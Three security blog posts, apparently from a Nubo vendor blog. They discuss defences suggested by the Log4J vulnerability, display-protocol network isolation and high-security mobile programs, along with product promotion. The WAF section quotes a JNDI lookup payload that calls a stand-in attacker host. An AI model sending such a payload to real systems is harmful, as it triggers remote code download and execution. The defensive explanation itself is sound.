Category: Security

Israel Lifshitz

A lot has been said and written about the Log4J vulnerability. Technical issues have been raised, security flaws have been discussed, the impact of this vulnerability is said to be so huge, and practical advice on how to secure your system from the Log4J vulnerability is seen everywhere!

Let’s take a few minutes to discuss some lessons learned from this case, so we could better protect ourselves from similar vulnerabilities in the future. Even though the Log4J vulnerability has recently received a lot of buzz and media coverage, there are actually many other critical vulnerabilities that are discovered every day and need to be addressed on a regular basis. For example, on the CVEDetails.com website, there are currently about 19,000 vulnerabilities rated between 9 to 10, quite similar to the Log4J vulnerability rating.

So, how can we find effective ways to protect our organization from so many potential vulnerabilities?

First, we can use the most common and obvious method, which is installing patches.

IT needs to track all the components in the system, make sure that they are all updated regularly and of course, patched immediately when a vulnerability is discovered.

Patching the Log4J vulnerability is quite complicated because Log4J is a library that is used by many products, and usually IT is not aware of the actual products using it. As a result, IT needs to contact its vendors and find out whether a patch is needed. This becomes even more problematic when IT uses a self-made application, whose internal apps are usually not well maintained in the Enterprise environment. In addition, this situation also makes it hard to approach the developers and find out if they are using a specific library.

Another disadvantage is that patches can only protect against known issues and are dependent on the software vendor’s quick reaction. Unfortunately, even though patching has many drawbacks, it is usually the only method being used in many organizations.

Let’s consider much more simple methods that can overcome many patching disadvantages.  You will still need to use patching, but by using some other rules and tools, your system will surely become less vulnerable:

1. Use a web application firewall

A web application firewall can be used to filter the requests sent to web applications and APIs, so that many malicious requests will not enter your applications. That way, even if one of your applications still has a vulnerability, an exploit cannot send its malicious code to the application, as it will be filtered by the WAF. In case of a Log4J vulnerability, most of the WAFs would probably filter out the malicious URL (e.g. ${jndi:ldap://attackersite.com/x} )that is used to execute code in a web application or API service.

2. Isolate backend services from the internet
Backend services usually run inside the datacenter and serve the organization’s users. A common mistake is to let those services to be connected to the internet. Attacks that exploit weaknesses in the software usually use the internet to download the malicious code. For example, in the Log4j vulnerability, the exploit code is being downloaded from a remote internet site. If the service is not connected, the exploit will fail (even if the service is still not patched). This actually protects against many zero-day vulnerabilities, as many depend on internet connectivity.

3. Run backend services as a unique and non-root (admin) user


A root (or admin) user, is a user that has unlimited permissions in the operating system and can access any other users’ data. All other users have limited permissions and are also isolated from other users.  If you run your service as root, where an exploit can run code on-behalf of the service, the code can easily access other services in the same operating system, get other services data, or even infect them. The Log4j vulnerability also enables running malicious code. In case the service runs with a non-root user, the malicious code will be isolated from other users.

4. Separate your services into VLANs

Another common impact of malicious code that infects a service is that the code can access other services and infect them as well. The malicious code takes advantage of the fact that in many cases, all the services run in the same LAN (i.e., Local Area Network) and can scan the LAN for other services it might infect. There are also more sophisticated attacks that can infect one service using one vulnerability (e.g., Log4J vulnerability), then scan the network for LAN services that have other known vulnerabilities and exploit them as well. A possible solution for that will be to separate your services into different VLANs and control network access tables, so each service will access only the services it needs.

5. Run services in containers
Another security measure to be taken when securing services could be simply running them on a container, just like a docker container. Container technology helps solve many software deployment issues, and at the same time, increases security levels. Containers are isolated from the operating system they run on and have very limited options to infect the operating system, or any other services. Even powerful attacks that know how to get root access from non-root services can fail to penetrate the isolation of a container if the container is well secured. Again, this provides security for many kinds of zero-day vulnerability attacks, so that the attack’s impact will only be limited to the infected container.

 

In this article we saw that we have powerful options, not only to defend ourselves against known vulnerabilities, but to also prepare ourselves from unknown vulnerabilities and zero-day attacks. What is common to all the above options, is that they can do wonders to isolate your services. We believe that proper isolation is crucial for your datacenter’s security, so it’s no surprise that Nubo specializes in mobile isolation.

Israel Lifshitz


It is not a secret that Firewalls have been securing networks for many years and they are surely here to stay. However, the increase in cyber security threats and attacks, as well as the growing impact of such attacks, force us to find more creative ways to protect our vulnerable networks.

Introducing the new kid on the block  –  Glasswall.

Glasswall protection actually secures isolated networks. Instead of just adding a policy concerning the app and user, who can enter or exit the network, we can allow information to pass through, but only as an image display.

So, what Glasswall actually does, is using display protocols to deliver apps. This is a well-known mechanism of accessing remote apps. However, now the use case is for security. By using display protocol, only the user interface can be transferred between networks and no other data can be leaked, including malware and sensitive data.

How does Glasswall dramatically increase the security level?

Every security expert knows that the first and most basic rule is to keep the attack surface, as small as possible. Glasswall can greatly help you do that.

Without Glasswall, every time you introduce a new app or a new connection to your network, you enlarge the attack surface. Every open port in your firewall places a new threat, and even any message type in a network connection, is a potential risk.

When apps are available only through remote display protocol, no matter how many apps you add, you don’t need to add more protocols or open any ports or services in your network. In that case, the attack surface size does not depend on the number of apps you allow access to.

How do Glasswalls work in real life?

In IT environments, Glasswall means that your apps are actually running in a remote app server, inside a secure datacenter and can be easily accessed by a thin client app. It’s almost like VDI or a remote desktop solution, but with much greater emphasis on information security. The thin client must work with an encrypted, secure and multi-factor authentication connection.



Nubo, as a pioneer in VMI security solutions, does just that for mobile apps. Users install a thin client app in their mobile devices, which accesses apps that are actually running remotely in the Nubo secure platform. Nubo’s patented protocol – UX over IP, acts as the Glasswall that protects the organization from external threats. The protocol is not only a mobile-designed remote protocol, but also designated for high levels of security.

Israel Lifshitz
It is well known that every organization must provide some kind of mobility support. This applies to all enterprises, let alone financial services firms, hospitals, and even defense agencies. Moreover, organizations today are exposed to a wide range of threats and securing mobile systems has become a must. The level of security required is of course different from one organization to another, and depends on factors like: threat level, risk involved and others.

It’s obvious that the highest level of security needs to be enforced in military and such related industries. In this article, I would like to outline how secure mobile programs should look like for the most secure organizations. If you work for such an organization, you will immediately relate to the content below, but if you work at a less secure industry and/or organization, stay close since you will learn how to apply some essential security measures to your mobility program.


Main considerations to be addressed when planning the system

  • End to End Protection – Consider all the different components in the system. The attacker is likely to attack the least protected component, just like the wolf attacks the weakest sheep in the herd.
  • Threat Types – Make a list of all potential threats and prioritize them  according to their severity. Be as thorough as possible, since   most security precautions are directly tied to the specific threat they   are supposed to handle.

  • User Experience – Since security measures often compromise user  experience, bear in mind that maintaining proper UX  is necessary, when users use the system for their ongoing work.




Security system – Ground rules

Based on the threats at hand, start outlining some ground rules.
Here are some rules to be applied in the toughest of`environments:

  • Protect the Mobile Devices – In mobility systems, the weakest and least secure component in organizations is usually mobile devices. There are thousands of them wandering around and they can be easily breached by a countless number of external sources.

  • Zero Data on the Device – Sharing a huge amount of data on a large number of mobile devices make it almost impossible to track and detect data breaches. It is better to operate with a system that actually stores no data on the devices.

  • Protect the Data Center –Many organizations think about device protection, while overlooking the data center. However, data center breaches can be much more dangerous. When an attacker enters the data center, he gains access to all the data in the organization and what can happen then is all up to him. Think about risks such as a critical system suddenly shutting down at an airport or a big financial institution. Even the sky is not the limit when hackers penetrate enterprises’ data centers.

  • Apps Pose risks – People easily understand the risks on hardware and network connections. However, the main risks are usually found at the software level. This is simply because software code is so huge that it’s fundamentally impossible to make sure all the apps in the organization are secure.



Detailing security measures by component

 

Now, let’s see how high security systems really look like and group the security measures by component:


The mobile device:

  • Secure the operation system and hardware to make sure unauthorized malware/people do not damage the software modules.

  • Remove unnecessary network components. Today, each smart phone has many different network components, such as Bluetooth, Wi-Fi, cellular, NFC, USB and more. Each network connection poses a potential risk, so it is better to remove unneeded components.

  • Have a centralized encryption component in place, to make sure all apps use one safe encryption and no un-encrypted data is going out of the device.

  • Install only apps that store zero data on the device and had been previously tested using penetration tests. Bear in mind that each new app version needs to be retested.

  • Make sure all admins know exactly where all the devices are located (i.e. Mobile Device Management).

The network

  • Military graded networks are not connected to the Internet,   but use private closed networks that only pre-approved devices can connect to. This can be done by having an organization build its own private network, or by buying a virtual-private network from a carrier.

  • The network itself needs to be fully encrypted and not allow regular traffic to go through.

  • Advanced firewall that does IP inspections of the app protocols, as well as strict filtering should be put in place.

The data center

  • Sandboxes – Datacenters usually provide several types of services. Each service needs to be separated from the other services, so that if one service is compromised, it will not affect the other ones.

  • Split services to frontend and backend – Each service should be separated to both frontend and backend service. In that case, if a frontend service with a direct connection to the device gets compromised, the main service data remains safe.

  • Strict input validation – Each component needs to strictly validate its input parameters to make sure no one is trying to insert data into the service.

Virtual Mobile Infrastructure

With all such complicated security systems in place, there is only one technology that really does 
the job faster and much simpler – Virtual Mobile Infrastructure (VMI).

VMI actually:
  • Allows zero data to be stored on any app.

  • Displays only one major app on the device (i.e. the thin client), which makes it easy to test the app.

  • Uses one encryption protocol for all apps.

  • Provides an additional separation in the data center since the secure VMI platforms actually separate between the devices and the apps,  and the datacenter.


As this article draws on the most severe situations, which hopefully your organization will never need to experience, you can still implement some of the guidelines mentioned above, and get prepared for the security level your organization requires.